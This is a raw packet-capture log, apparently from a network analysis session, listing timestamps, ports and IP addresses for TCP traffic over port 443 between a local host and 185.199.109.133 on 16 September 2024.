Sep 16, 2024 19:24:31.980735064 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.980776072 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.980822086 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.980830908 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.980865002 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.981527090 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.981544971 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.981633902 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.981642008 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.982021093 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.982039928 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.982080936 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.982089996 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.982137918 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.982351065 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.982374907 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.982444048 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.982451916 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.982692957 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.982929945 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.982948065 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.982975960 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.982985973 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.983056068 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.018743992 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.018760920 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.018881083 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.018929005 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.019228935 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.019265890 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.019282103 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.019293070 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.019340038 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.019340038 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.019340992 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.019364119 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.019418955 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.020580053 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.020587921 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.020642042 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.020657063 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.023241043 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.023257017 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.023303986 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.023336887 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.023361921 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.030641079 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.030656099 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.030723095 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.030757904 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.030783892 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.031075001 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.031088114 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.031135082 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.031156063 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.031181097 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.031554937 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.031574965 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.031647921 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.031677008 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.032265902 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.032280922 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.032345057 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.032361031 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.033262014 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.033314943 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.033344984 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.033356905 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.033385992 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.055413008 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.059171915 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.061472893 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.061531067 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.061585903 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.061625004 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.061649084 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.061906099 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.061954021 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.061991930 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.062011957 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.062036037 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.062097073 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.062275887 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.062315941 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.062381029 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.062410116 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.062474966 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.062892914 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.062933922 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.063059092 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.063072920 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.063530922 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.063575029 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.063599110 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.063612938 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.063642979 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.063661098 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.063976049 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.064014912 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.064045906 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.064059973 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.064095020 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.064116001 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.064707041 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.064747095 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.064781904 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.064795017 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.064822912 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.065393925 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.065438032 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.065484047 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.065498114 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.065535069 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.065555096 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.066824913 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.066885948 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.066914082 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.066935062 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.066957951 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.067323923 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.067374945 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.067411900 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.067439079 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.067457914 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.068218946 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.068259001 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.068325043 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.068325043 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.068336964 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.069061995 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.069122076 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.069120884 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.069134951 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.069195986 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.069363117 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.069422007 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.069469929 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.069478035 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.069498062 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.069906950 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.069953918 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.070004940 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.070014000 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.070023060 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.070141077 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.070182085 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.070256948 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.070256948 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.070266008 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.105446100 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.105464935 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.105536938 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.105561018 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.105907917 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.105940104 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.105950117 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.105959892 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.105967999 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.105993032 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.106019020 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.106019020 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.106019020 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.107501984 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.107517004 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.107587099 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.107604980 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.110165119 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.110179901 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.110244036 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.110259056 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.117621899 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.117638111 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.117718935 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.117733955 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.118047953 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.118057013 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.118110895 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.118144035 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.118172884 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.118531942 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.118546009 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.118587017 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.118599892 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.118627071 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.119070053 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.119085073 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.119127989 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.119143009 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.119169950 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.120872021 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.120927095 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.120976925 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.120976925 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.120999098 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.148644924 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.148689985 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.148778915 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.148799896 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.148844957 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.149084091 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.149132013 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.149154902 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.149168968 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.149195910 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.149241924 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.149528980 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.149569035 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.149602890 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.149620056 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.149643898 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.149662018 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.150095940 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.150155067 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.150192022 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.150204897 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.150234938 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.150254011 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.150630951 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.150675058 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.150696993 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.150708914 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.150737047 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.150755882 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.151201963 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.151246071 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.151272058 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.151284933 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.151310921 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.151330948 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.151839018 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.151880026 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.151907921 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.151921034 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.151947975 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.151968002 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.152376890 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.152420044 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.152439117 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.152451992 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.152481079 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.152502060 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.154484987 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.154530048 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.154552937 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.154565096 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.154635906 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.154731035 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.154795885 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.154834986 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.154844046 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.154869080 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.156263113 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.156303883 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.156367064 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.156367064 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.156380892 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.156852961 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.156915903 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.156939983 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.156948090 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.157013893 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.157321930 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.157361984 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.157398939 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.157413960 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.157438040 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.157654047 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.157701969 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.157742977 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.157751083 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.157783031 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.157972097 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.158014059 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.158096075 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.158096075 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.158104897 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.192811012 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.192827940 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.192924023 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.192974091 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.193254948 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.193283081 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.193296909 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.193308115 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.193315029 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.193347931 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.193377018 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.193377018 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.194488049 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.194502115 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.194538116 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.194561005 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.194590092 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.197091103 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.197117090 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.197189093 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.197216034 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.197242022 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.204670906 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.204684973 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.204741955 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.204758883 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.204803944 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.205388069 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.205401897 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.205462933 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.205480099 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.205889940 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.205904007 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.205955029 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.205969095 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.206334114 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.206341982 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.206387043 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.206406116 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.206428051 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.209048986 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.209131002 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.209131956 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.209161043 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.209223032 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.236000061 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.236051083 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.236107111 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.236134052 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.236169100 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.236229897 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.236362934 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.236403942 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.236434937 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.236448050 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:32.236474037 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:32.236500025 CEST	51648	443	192.168.2.5	185.199.109.133
